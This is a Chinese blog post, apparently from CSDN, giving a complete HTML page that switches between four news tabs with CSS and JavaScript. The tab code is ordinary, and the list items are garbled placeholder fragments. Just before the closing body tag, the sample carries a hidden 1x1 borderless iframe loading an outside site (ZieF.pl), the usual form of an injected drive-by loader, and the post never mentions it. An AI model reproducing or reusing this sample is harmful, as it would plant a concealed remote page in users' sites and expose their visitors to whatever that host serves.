HTML页面栏目切换案例（代码）

最新推荐文章于 2023-08-25 13:32:54 发布

Saggitarxm

最新推荐文章于 2023-08-25 13:32:54 发布

阅读量534

点赞数

分类专栏： HTML 文章标签： HTML页面栏目切换案例（代码） HTML tab

本文链接：https://blog.csdn.net/xuezhangjun0121/article/details/98733456

版权

HTML 专栏收录该内容

15 篇文章 0 订阅

订阅专栏

HTML页面栏目切换案例（代码）：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Tab 标签</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            background-color: #F7F7F7;
        }

        .tabs {
            width: 400px;
            margin: 30px auto;
            background-color: #FFF;
            border: 1px solid #C0DCC0;
            box-sizing: border-box;
        }

        .tabs nav {
            height: 40px;
            text-align: center;
            line-height: 40px;
            overflow: hidden;
            background-color: #C0DCC0;
            display: flex;
        }

        nav a {
            display: block;
            width: 100px;
            border-right: 1px solid #FFF;
            color: #000;
            text-decoration: none;
        }

        nav a:last-child {
            border-right: 0 none;
        }

        nav a.active {
            background-color: #9BAF9B;
        }

        .cont {
            overflow: hidden;
            display: none;
        }

        .cont ol {
            line-height: 30px;
        }

    </style>
</head>
<body>
<div class="tabs">
    <nav>
        <a href="javascript:;" data-cont="local">国内新闻</a>
        <a href="javascript:;" data-cont="global">国际新闻</a>
        <a href="javascript:;" data-cont="sports">体育新闻</a>
        <a href="javascript:;" data-cont="funny">娱乐新闻</a>
    </nav>
    <section class="cont" id="local" >
        <ol>
            <li>在全10</li>
            <li>禽流感在感在广1处继续蔓延</li>
            <li>农作物减产绝收面积上亩</li>
            <li>全国暴发</li>
            <li>禽流感</li>
            <li>农作物减产绝收面积上亩</li>
            <li>猪流感暴发</li>
        </ol>
    </section>
    <section class="cont" id="global">
        <ol>
            <li>超过100</li>
            <li>禽流感</li>
            <li>农作物减产绝收面积上亩</li>
            <li>猪流感</li>
            <li>禽流感面积上亩</li>
            <li>猪流感暴发</li>
        </ol>
    </section>
    <section class="cont" id="sports">
        <ol>
            <li>00</li>
            <li>禽流感在全示</li>
            <li>南方积上亩</li>
            <li>猪流感发</li>
            <li>禽流感示</li>
            <li>南方上亩</li>
            <li>猪流感在发</li>
        </ol>
    </section>
    <section class="cont" id="funny">
        <ol>
            <li>数刀</li>
            <li>四川原又复出</li>
            <li>胡脸</li>
            <li>曝亲密</li>
            <li>宜开现场</li>
            <li>国子监</li>
            <li>猪流感暴发</li>
        </ol>
    </section>
</div>
<script>
    // 目标： 默认显示一个 当前的样式
    //  点击导航，实现切换
    //  key 表示的当前显示的是第几个

    (function(key){
//         获取所有的导航
        var navs=document.querySelectorAll('nav a');
//         遍历 给导航 绑定事件，并且添加当前样式
        for(var i=0;i<navs.length;i++){
//            如果是用户指定的当前样式
            if(key==i){
                navs[i].classList.add('active');
//              拿到要显示内容section的id
                var secId=navs[i].dataset['cont'];
//               获取对应的section标签
                document.querySelector('#'+secId).style.display='block';
            }

//            给每一个导航绑定点击事件
            navs[i].onclick=function(){
            // 排他
            // 之前有active样式的清除, 之前显示的section 隐藏
                var  currentNav=document.querySelector('.active');
//                获取对应的内容区域 ，让其隐藏
                var currentId=currentNav.dataset['cont'];
//                去掉导航的active 样式
                currentNav.classList.remove('active');
//                对应的内容区域
                document.querySelector('#'+currentId).style.display='none';

            //   突出显示自己 导航添加样式  对应的section 显示
//                给自己添加active样式
                this.classList.add('active');
//                对应的section模块显示出来
                var myId=this.dataset['cont'];
                document.querySelector('#'+myId).style.display='block';
            }
        }

    })(0);



</script>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>

Saggitarxm

关注

0
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
HTML页面栏目切换案例（代码）

HTML页面栏目切换案例（代码）：<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Tab 标签</title> <style> body { margin...
复制链接

扫一扫